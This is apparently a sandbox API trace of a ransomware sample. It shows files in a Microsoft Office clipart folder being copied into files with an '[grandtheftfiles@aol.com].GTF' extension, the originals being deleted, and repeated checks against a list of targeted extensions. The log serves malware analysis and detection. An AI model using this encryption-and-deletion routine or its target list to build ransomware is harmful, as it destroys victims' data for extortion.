	[0156.587] GetLastError () returned 0x0
	[0156.587] ReadFile (in: hFile=0x490, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x65e6, lpOverlapped=0x0) returned 1
	[0156.590] WriteFile (in: hFile=0x4ac, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x65f0, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x65f0, lpOverlapped=0x0) returned 1
	[0156.591] ReadFile (in: hFile=0x490, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0156.591] WriteFile (in: hFile=0x4ac, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0156.591] SetEndOfFile (hFile=0x4ac) returned 1
	[0156.591] CloseHandle (hObject=0x4ac) returned 1
	[0156.591] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.591] SetEndOfFile (hFile=0x490) returned 1
	[0156.595] CloseHandle (hObject=0x490) returned 1
	[0156.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0156.595] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf")) returned 1
	[0156.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0156.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0156.596] lstrlenW (lpString=".doc") returned 4
	[0156.596] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0156.596] lstrlenW (lpString=".docx") returned 5
	[0156.596] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0156.596] lstrlenW (lpString=".pdf") returned 4
	[0156.596] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0156.596] lstrlenW (lpString=".xls") returned 4
	[0156.596] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0156.596] lstrlenW (lpString=".xlsx") returned 5
	[0156.596] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0156.596] lstrlenW (lpString=".ppt") returned 4
	[0156.596] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0156.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0156.596] lstrlenW (lpString=".zip") returned 4
	[0156.596] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0156.596] lstrlenW (lpString=".rar") returned 4
	[0156.596] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0156.596] lstrlenW (lpString=".bz2") returned 4
	[0156.596] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0156.596] lstrlenW (lpString=".7z") returned 3
	[0156.596] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0156.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0156.596] lstrlenW (lpString=".dbf") returned 4
	[0156.596] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0156.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0156.596] lstrlenW (lpString=".1cd") returned 4
	[0156.597] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0156.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0156.597] lstrlenW (lpString=".jpg") returned 4
	[0156.597] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0156.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0156.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0156.597] lstrlenW (lpString=".doc") returned 4
	[0156.597] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0156.597] lstrlenW (lpString=".docx") returned 5
	[0156.597] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0156.597] lstrlenW (lpString=".pdf") returned 4
	[0156.597] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0156.597] lstrlenW (lpString=".xls") returned 4
	[0156.597] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0156.597] lstrlenW (lpString=".xlsx") returned 5
	[0156.597] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0156.597] lstrlenW (lpString=".ppt") returned 4
	[0156.597] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0156.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0156.597] lstrlenW (lpString=".zip") returned 4
	[0156.597] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0156.597] lstrlenW (lpString=".rar") returned 4
	[0156.597] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0156.597] lstrlenW (lpString=".bz2") returned 4
	[0156.597] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0156.597] lstrlenW (lpString=".7z") returned 3
	[0156.597] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0156.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0156.597] lstrlenW (lpString=".dbf") returned 4
	[0156.597] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0156.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0156.597] lstrlenW (lpString=".1cd") returned 4
	[0156.597] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0156.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0156.597] lstrlenW (lpString=".jpg") returned 4
	[0156.597] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0156.598] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0156.598] lstrlenW (lpString="J0099152.JPG") returned 12
	[0156.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490
	[0156.598] GetFileSizeEx (in: hFile=0x490, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=11694) returned 1
	[0156.598] CloseHandle (hObject=0x490) returned 1
	[0156.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg")) returned 0x220
	[0156.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0156.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490
	[0156.600] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.600] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0156.600] GetLastError () returned 0x0
	[0156.600] ReadFile (in: hFile=0x490, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x2dae, lpOverlapped=0x0) returned 1
	[0156.602] WriteFile (in: hFile=0x4ac, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x2db0, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x2db0, lpOverlapped=0x0) returned 1
	[0156.603] ReadFile (in: hFile=0x490, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0156.603] WriteFile (in: hFile=0x4ac, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0156.603] SetEndOfFile (hFile=0x4ac) returned 1
	[0156.604] CloseHandle (hObject=0x4ac) returned 1
	[0156.604] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.604] SetEndOfFile (hFile=0x490) returned 1
	[0156.606] CloseHandle (hObject=0x490) returned 1
	[0156.606] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0156.607] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg")) returned 1
	[0156.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0156.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0156.607] lstrlenW (lpString=".doc") returned 4
	[0156.607] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0156.607] lstrlenW (lpString=".docx") returned 5
	[0156.607] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0156.607] lstrlenW (lpString=".pdf") returned 4
	[0156.607] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0156.607] lstrlenW (lpString=".xls") returned 4
	[0156.607] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0156.607] lstrlenW (lpString=".xlsx") returned 5
	[0156.607] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0156.607] lstrlenW (lpString=".ppt") returned 4
	[0156.607] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0156.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0156.607] lstrlenW (lpString=".zip") returned 4
	[0156.607] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0156.607] lstrlenW (lpString=".rar") returned 4
	[0156.607] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0156.607] lstrlenW (lpString=".bz2") returned 4
	[0156.608] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0156.608] lstrlenW (lpString=".7z") returned 3
	[0156.608] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0156.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0156.608] lstrlenW (lpString=".dbf") returned 4
	[0156.608] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0156.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0156.608] lstrlenW (lpString=".1cd") returned 4
	[0156.608] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0156.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0156.608] lstrlenW (lpString=".jpg") returned 4
	[0156.608] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0156.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0156.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0156.608] lstrlenW (lpString=".doc") returned 4
	[0156.608] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0156.608] lstrlenW (lpString=".docx") returned 5
	[0156.608] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0156.608] lstrlenW (lpString=".pdf") returned 4
	[0156.608] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0156.608] lstrlenW (lpString=".xls") returned 4
	[0156.608] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0156.608] lstrlenW (lpString=".xlsx") returned 5
	[0156.608] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0156.608] lstrlenW (lpString=".ppt") returned 4
	[0156.608] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0156.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0156.608] lstrlenW (lpString=".zip") returned 4
	[0156.608] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0156.608] lstrlenW (lpString=".rar") returned 4
	[0156.608] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0156.608] lstrlenW (lpString=".bz2") returned 4
	[0156.608] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0156.608] lstrlenW (lpString=".7z") returned 3
	[0156.608] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0156.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0156.609] lstrlenW (lpString=".dbf") returned 4
	[0156.609] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0156.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0156.609] lstrlenW (lpString=".1cd") returned 4
	[0156.609] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0156.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0156.609] lstrlenW (lpString=".jpg") returned 4
	[0156.609] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0156.609] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0156.609] lstrlenW (lpString="J0099153.WMF") returned 12
	[0156.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490
	[0156.609] GetFileSizeEx (in: hFile=0x490, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=13874) returned 1
	[0156.609] CloseHandle (hObject=0x490) returned 1
	[0156.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf")) returned 0x220
	[0156.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0156.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490
	[0156.610] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.610] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0156.612] GetLastError () returned 0x0
	[0156.612] ReadFile (in: hFile=0x490, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x3632, lpOverlapped=0x0) returned 1
	[0156.614] WriteFile (in: hFile=0x4ac, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x3640, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x3640, lpOverlapped=0x0) returned 1
	[0156.615] ReadFile (in: hFile=0x490, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0156.615] WriteFile (in: hFile=0x4ac, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0156.615] SetEndOfFile (hFile=0x4ac) returned 1
	[0156.616] CloseHandle (hObject=0x4ac) returned 1
	[0156.616] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.616] SetEndOfFile (hFile=0x490) returned 1
	[0157.413] CloseHandle (hObject=0x490) returned 1
	[0157.413] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0157.414] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf")) returned 1
	[0157.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0157.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0157.414] lstrlenW (lpString=".doc") returned 4
	[0157.414] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0157.414] lstrlenW (lpString=".docx") returned 5
	[0157.414] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0157.414] lstrlenW (lpString=".pdf") returned 4
	[0157.414] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0157.414] lstrlenW (lpString=".xls") returned 4
	[0157.414] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0157.414] lstrlenW (lpString=".xlsx") returned 5
	[0157.414] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0157.414] lstrlenW (lpString=".ppt") returned 4
	[0157.414] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0157.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0157.414] lstrlenW (lpString=".zip") returned 4
	[0157.415] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0157.415] lstrlenW (lpString=".rar") returned 4
	[0157.415] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0157.415] lstrlenW (lpString=".bz2") returned 4
	[0157.415] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0157.415] lstrlenW (lpString=".7z") returned 3
	[0157.415] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0157.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0157.415] lstrlenW (lpString=".dbf") returned 4
	[0157.415] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0157.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0157.415] lstrlenW (lpString=".1cd") returned 4
	[0157.415] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0157.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0157.415] lstrlenW (lpString=".jpg") returned 4
	[0157.415] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0157.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0157.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0157.415] lstrlenW (lpString=".doc") returned 4
	[0157.415] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0157.415] lstrlenW (lpString=".docx") returned 5
	[0157.415] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0157.415] lstrlenW (lpString=".pdf") returned 4
	[0157.415] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0157.415] lstrlenW (lpString=".xls") returned 4
	[0157.415] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0157.415] lstrlenW (lpString=".xlsx") returned 5
	[0157.415] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0157.415] lstrlenW (lpString=".ppt") returned 4
	[0157.415] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0157.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0157.415] lstrlenW (lpString=".zip") returned 4
	[0157.415] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0157.415] lstrlenW (lpString=".rar") returned 4
	[0157.415] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0157.416] lstrlenW (lpString=".bz2") returned 4
	[0157.416] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0157.416] lstrlenW (lpString=".7z") returned 3
	[0157.416] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0157.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0157.416] lstrlenW (lpString=".dbf") returned 4
	[0157.416] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0157.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0157.416] lstrlenW (lpString=".1cd") returned 4
	[0157.416] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0157.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68
	[0157.416] lstrlenW (lpString=".jpg") returned 4
	[0157.416] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0157.416] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0157.416] lstrlenW (lpString="J0099161.JPG") returned 12
	[0157.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490
	[0157.416] GetFileSizeEx (in: hFile=0x490, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=7154) returned 1
	[0157.416] CloseHandle (hObject=0x490) returned 1
	[0157.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg")) returned 0x220
	[0157.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0157.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490
	[0157.417] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.417] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
